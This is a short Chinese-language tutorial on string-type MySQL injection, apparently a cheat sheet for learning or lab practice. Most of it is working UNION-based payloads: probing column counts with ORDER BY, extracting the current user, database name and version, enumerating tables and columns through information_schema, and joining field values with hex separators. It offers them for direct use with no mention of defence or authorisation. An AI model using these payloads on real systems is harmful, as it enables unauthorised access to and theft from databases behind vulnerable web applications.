MYSQL注入語句實用精解 只講字符型。 order by XX Union select ..... 1' UNION SELECT 1,CONCAT(user(),0x3a,database(),0x3a,version()) # 這兩句是等價的。 1' UNION SELECT 1,CONCAT_WS(CHAR(58),user(),database(),version()) # 上面是字符型的,注釋符為 # , CONCAT_WS 為用分隔符隔開連接的字符。 獲取數據庫等的信息 1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database() # concat產生只是字符串連接,不用也可以,也應該可以把所有表輸出。table_name 和 table_schema 是 information_schema中tables表中的一個字段。 1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 # 0x7573657273這個是users的十六進制表示形式。這個users只是一個特例而已。主要根據上面獲得表中字段值進行查詢。到了這裡,數據庫知道了,表知道了,表的字段也知道了。剩下的還不會查嗎。直接union 查。 庫information_schema 中的表tables 有 table_schema(數據庫名) 和 table_name(表名) 兩個主要字段 庫information_schema 中的表columns 有 table_name(表名) 和 column_name(列名) 兩主要字段 就算是 order by 出來只有一個可以顯示也沒關系。可以用concat 如: concat(字段,0x3a,字段) 把兩個字段顯示出來了。中間那個是 : 的十六進制表示形式。